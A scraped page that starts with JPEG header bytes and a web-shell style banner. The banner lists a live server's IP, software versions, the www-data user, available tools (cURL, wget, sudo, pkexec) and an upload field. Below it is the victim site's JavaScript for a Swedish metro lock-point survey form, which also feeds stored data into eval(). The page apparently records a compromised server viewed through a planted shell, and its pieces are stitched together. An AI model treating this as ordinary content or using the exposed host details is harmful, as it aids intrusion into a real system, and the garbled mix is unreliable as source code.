????JFIF??x?x????'
| Server IP : 79.136.114.73 / Your IP : 216.73.217.114 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/www.notes-online.se/symbols/notes/stipa2/js/ |
Upload File : |
function addZeros(n) {
return (n<10? '00' : n<100? '0' : '') + n;
}
function copy_from_other_symbol(type){
var copyfrom = "";
var localStorageName = "";
var selObj = document.getElementById(type);
for (var j = 0; j < selObj.options.length; j++) {
if (selObj.options[j].selected == true) {
copyfrom = selObj.options[j].value;
localStorageName = copyfrom;
}
}
copyfrom = localStorage.getItem(copyfrom);
copyfrom = JSON.parse(copyfrom);
// Get the localStorage object for the current form
var storedDataName = "SENDTOSERVER_"+localStorage.getItem("companyid")+"_"+localStorage.getItem("drawingpath")+"_"+localStorage.getItem("symbolid")+"_"+localStorage.getItem("number");
var storedData = localStorage.getItem(storedDataName);
storedData = JSON.parse(storedData);
var y = 0;
for(var o in copyfrom){
var type = copyfrom[y][1];
var name = copyfrom[y][0];
var value = copyfrom[y][2];
if (type == "text" || type == "textarea" || type == "tel" || type == "radio" || type == "checkbox" || type == "select-one") {
if(name != "installationsid" && name != "datum" && name != "signatur"){ // Dont change these values
storedData[y][2] = value;
}
}
y++
}
storedData = JSON.stringify(storedData)
populateFields(storedData);
//alert("Denna funktion fungerar inte ännu!");
/*
[["symboltype","hidden","Låspunkt"],["otherLPT","select-one","SENDTOSERVER_1000000_Notes Online Files/SL/A461901-40-1-0005.pdf_188_1"],["button2","button","Kopiera"],["button","button","Spara"],["forvaltningsid","text","4619"],["trafikslag","text","10 Tunnelbana"],["rumsid","text",""],["linje","text","110 TUB 1 Grön"],["installationstyp","select-one","T6.132"],["funkpri","select-one","00 Ingen uppgift"],["beskrivning","text",""],["funksek","select-one","00 Ingen uppgift"],["datum","text","2014-02-08"],["franrum","text",""],["fabrikat","text",""],["signatur","text","Demo"],["leverantor","text",""],["kortlasare","select-one","Välj"],["kortlasare2","select-one","Välj"],["slutbesiktning","text",""],["systemnummer","text",""],["cylinderbyte","text",""],["Elslutblack-eltrycke","checkbox","nej"],["inuit","select-one","Välj"],["dorrstangning-nyinstallation","checkbox","nej"],["dorrmiljotyp","select-one","Välj"],["optisk-oppnaknapp","checkbox","nej"],["installationsid","text","4619LPT002"],["forlangd-oppethallande","checkbox","nej"],["ovrigt","text",""],["lasare-tagmaster","checkbox","nej"],["oppnaknapp","select-one","Välj"],["anmarking","text",""],["summer","radio","0"],["summer","radio","0"],["cylindertypinsida","select-one","Välj"],["cylindertyputsida","select-one","Välj"],["nyckelnummerinsida","select-one","Välj"],["nyckelnummerutsida","select-one","Välj"],["dorrmaterial","select-one","Välj"],["dorrhangning","select-one","Välj"],["dorrstangare","select-one","Välj"],["lashustyp","select-one","Välj"],["lashusplacering","select-one","Välj"],["slutbleck","select-one","Välj"],["nodutrymning","select-one","Välj"],["dorrensstatus","select-one","Välj"],["symbol","hidden","Låspunkt"],["drawingpath","hidden","Notes Online Files/SL/A461901-40-1-0005.pdf"],["x_position","hidden","416.664429"],["y_position","hidden","602.000000"],["symbolid","hidden","188"],["companyid","hidden","1000000"],["number","hidden","2"],["localStorageName","hidden","SENDTOSERVER_1000000_Notes Online Files/SL/A461901-40-1-0005.pdf_188_2"]]
*/
}
function init(){
var path = extractValue("drawingpath");
var companyid = extractValue("companyid");
if(localStorage.getItem("Synced_"+companyid+"_"+path) == null || localStorage.getItem("Synced_"+companyid+"_"+path) == "Hämta"){
alert("Du måste checka ut filen innan du kan fylla i formuläret \n(Landlord->Checka ut!)");
window.location = "http://www.notes-online.se/symbols/notes/sllas/empty.html";
}else{
// Sets the localStorage based in querystring
setQueryParameters();
// Set symbol topic
document.getElementById("symbolname").innerHTML = localStorage.getItem("symbol") + " - "+ localStorage.getItem("number");
document.getElementById("symboltype").value = localStorage.getItem("symbol");
// Get the localStorage object for the current form
var storedData = localStorage.getItem("SENDTOSERVER_"+localStorage.getItem("companyid")+"_"+localStorage.getItem("drawingpath")+"_"+localStorage.getItem("symbolid")+"_"+localStorage.getItem("number"));
fillOtherList("LPT",localStorage.getItem("symbol"));
// Check if data was found in localStorage
if(storedData != null){
populateFields(storedData);
}else{
// Populate top fields in form based on PDF-name: AXXXXYY => XXXX, ex: A463501 => 4635
document.getElementById("forvaltningsid").value = localStorage.getItem("drawingpath").substr(localStorage.getItem("drawingpath").lastIndexOf("/A")+2,4);
var symbol_shortname = "";
if(localStorage.getItem("symbol") == "Låspunkt"){
symbol_shortname = "LPT";
var value = localStorage.getItem(document.getElementById("forvaltningsid").value+"LPT_count");
if(value == null || value == "undefined"){
value = 0;
}
var LPT_count = parseInt(value) + 1;
localStorage.setItem(document.getElementById("forvaltningsid").value+"LPT_count",addZeros(LPT_count));
document.getElementById("installationsid").value = document.getElementById("forvaltningsid").value + symbol_shortname + localStorage.getItem(document.getElementById("forvaltningsid").value+"LPT_count");
}else if(localStorage.getItem("symbol") == "Passersystem undercentral"){
symbol_shortname = "PUC";
var value = localStorage.getItem(document.getElementById("forvaltningsid").value+"PUC_count");
if(value == null || value == "undefined"){
value = 0;
}
var PUC_count = parseInt(value) + 1;
localStorage.setItem(document.getElementById("forvaltningsid").value+"PUC_count",addZeros(PUC_count));
document.getElementById("installationsid").value = document.getElementById("forvaltningsid").value + symbol_shortname + localStorage.getItem(document.getElementById("forvaltningsid").value+"PUC_count");
}else if(localStorage.getItem("symbol") == "TUB-net"){
symbol_shortname = "TBN";
var value = localStorage.getItem(document.getElementById("forvaltningsid").value+"TBN_count");
if(value == null || value == "undefined"){
value = 0;
}
var TBN_count = parseInt(value) + 1;
localStorage.setItem(document.getElementById("forvaltningsid").value+"TBN_count",addZeros(TBN_count));
document.getElementById("installationsid").value = document.getElementById("forvaltningsid").value + symbol_shortname + localStorage.getItem(document.getElementById("forvaltningsid").value+"TBN_count");
}else if(localStorage.getItem("symbol") == "Reservkraftsanslutning"){
symbol_shortname = "ELA";
var value = localStorage.getItem(document.getElementById("forvaltningsid").value+"ELA_count");
if(value == null || value == "undefined"){
value = 0;
}
var ELA_count = parseInt(value) + 1;
localStorage.setItem(document.getElementById("forvaltningsid").value+"ELA_count",addZeros(ELA_count));
document.getElementById("installationsid").value = document.getElementById("forvaltningsid").value + symbol_shortname + localStorage.getItem(document.getElementById("forvaltningsid").value+"ELA_count");
}
// Get data from stored JSON-objects
for(var i = 0; i<Building.length; i++)
{
if(Building[i].ID.indexOf(document.getElementById("forvaltningsid").value) !== -1){
document.getElementById("trafikslag").value = Building[i].PurposeGUID.ID +" " +Building[i].PurposeGUID.Title;
document.getElementById("linje").value = Building[i].SubPurposeGUID.ID +" " +Building[i].SubPurposeGUID.Title;
}
}
}
save();
}
}
function sortlist(type) {
var lb = document.getElementById("other"+type);
if(lb != undefined){
arrTexts = new Array();
for(i=0; i<lb.length; i++) {
arrTexts[i] = lb.options[i].text+"###"+lb.options[i].value;
}
arrTexts.sort();
for(i=0; i<lb.length; i++) {
var j = arrTexts[i].split("###");
lb.options[i].text = j[0];
lb.options[i].value = j[1];
}
}
}
function fillOtherList(type, symboltype){
if(symboltype == "Låspunkt"){
var storedData = "SENDTOSERVER_"+localStorage.getItem("companyid")+"_"+localStorage.getItem("drawingpath");
for (var key in localStorage){
if(key.indexOf(storedData) !== -1){
var data = localStorage.getItem(key);
var obj = JSON.parse(data);
var y = 0;
var localStorageName = key;
var installationsid = "";
for(var o in obj){
if(obj[y][2].indexOf(type) !== -1){
if(obj[y][0] == "installationsid"){
installationsid = obj[y][2];
}
}
y++
}
//Add to list
if(installationsid != "" && localStorageName != ""){
var selObj = document.getElementById("other"+type);
var option = document.createElement("option");
option.text = installationsid;
option.value = localStorageName;
if(option != null && selObj != null){
selObj.add(option);
}
}
}
}
sortlist(type);
}
}
// Pupulate the fields with data from localStorage
function populateFields(storedData){
eval("var storedData_obj ="+storedData);
for (i = 0; i < storedData_obj.length; i++) {
var type = storedData_obj[i][1];
var name = storedData_obj[i][0];
var value = storedData_obj[i][2];
if (type == "text" || type == "textarea" || type == "tel") {
document.getElementById(name).value = value;
} else if (type == "select-one") {
var selObj = document.getElementById(name);
for (var j = 0; j < selObj.options.length; j++) {
if (selObj.options[j].text == value) {
selObj.options[j].selected = true;
}
}
} else if (type == "radio") {
var selObj = document.getElementById(name);
if(value == "1"){
selObj.checked = true;
}
if(value == "0"){
selObj.checked = false;
}
} else if (type == "checkbox") {
var selObj = document.getElementById(name);
if(value == "ja"){
selObj.checked = true;
}else{
selObj.checked = false;
}
}
}
document.getElementById("signatur").value = localStorage.getItem("username");
d = new Date();
document.getElementById("datum").value = d.yyyymmdd();
}
// Set localStorage objects based on querystring
function setQueryParameters(){
localStorage.setItem("symbol",extractValue("symbol"));
localStorage.setItem("username",extractValue("username"));
localStorage.setItem("drawingpath",extractValue("drawingpath"));
localStorage.setItem("x_position",extractValue("x_position"));
localStorage.setItem("y_position",extractValue("y_position"));
localStorage.setItem("symbolid",extractValue("symbolId"));
localStorage.setItem("companyid",extractValue("companyid"));
localStorage.setItem("number",extractValue("number"));
// Set values to hidden bottom form
document.getElementById("symbol").value = localStorage.getItem("symbol");
document.getElementById("drawingpath").value = localStorage.getItem("drawingpath");
document.getElementById("x_position").value = localStorage.getItem("x_position");
document.getElementById("y_position").value = localStorage.getItem("y_position");
document.getElementById("symbolid").value = localStorage.getItem("symbolid");
document.getElementById("companyid").value = localStorage.getItem("companyid");
document.getElementById("number").value = localStorage.getItem("number");
document.getElementById("localStorageName").value = "SENDTOSERVER_"+localStorage.getItem("companyid")+"_"+localStorage.getItem("drawingpath")+"_"+localStorage.getItem("symbolid")+"_"+localStorage.getItem("number");
document.getElementById("signatur").value = localStorage.getItem("username");
d = new Date();
document.getElementById("datum").value = d.yyyymmdd();
}
// Extract variable from url
function extractValue(variable){
var url = decodeURIComponent(document.location.toString());
var value = url.substring(url.indexOf(variable+"=") + variable.length + 1);
var pos = value.indexOf("&");
if(pos !== -1){
return value.substring(0, pos);
}else{
return value;
}
}
function checkIfFilled(){
save();
var ok = true;
for (i = 0; i < document.forms[0].elements.length; i++) {
var value = document.forms[0].elements[i].value;
if(value == "Välj"){
ok = false;
}
}
if(ok == false){
alert("Du måste fylla i alla listor!");
}else{
alert("Sparat!");
}
}
// Save data to localStorage
function save(){
var data = Array();
var forvaltningsid = localStorage.getItem("drawingpath").substr(localStorage.getItem("drawingpath").lastIndexOf("/A")+2,4);
localStorage.setItem("Current_forvaltningsid",forvaltningsid);
for (i = 0; i < document.forms[0].elements.length; i++) {
var type = document.forms[0].elements[i].type;
var name = document.forms[0].elements[i].name;
var value = document.forms[0].elements[i].value;
if(type == "checkbox"){
if(document.getElementById(name).checked){
value = "ja";
}else{
value = "nej";
}
}else if(type == "radio"){
if(document.getElementById(name).checked){
value = "1";
}else{
value = "0";
}
}
if(name == "kortlasare2" && value == "Annan"){
document.getElementById("kortlasare2_field").innerHTML = '<input onChange="save();" name="kortlasare2" type="text" class="text" id="kortlasare2" size="12" /><a href="javascript:reset_kortlasare();">#</a>';
}
var obj = Array(name,type,value);
data.push(obj);
}
localStorage.setItem("SENDTOSERVER_"+localStorage.getItem("companyid")+"_"+localStorage.getItem("drawingpath")+"_"+localStorage.getItem("symbolid")+"_"+localStorage.getItem("number"),JSON.stringify(data));
}
function reset_kortlasare(){
document.getElementById("kortlasare2_field").innerHTML = '<select onchange="save();" name="kortlasare2" class="text" id="kortlasare2"><option selected="selected">Välj</option><option>HD500</option><option>Lexan</option><option>PT3085 MIF</option><option>PT3081 EM</option><option>Grå Cotag</option><option>Elektronisk</option><option>HD 100</option><option>Annan</option></select>';
}
Date.prototype.yyyymmdd = function() {
var yyyy = this.getFullYear().toString();
var mm = (this.getMonth()+1).toString(); // getMonth() is zero-based
var dd = this.getDate().toString();
return yyyy +"-"+ (mm[1]?mm:"0"+mm[0]) +"-"+ (dd[1]?dd:"0"+dd[0]); // padding
};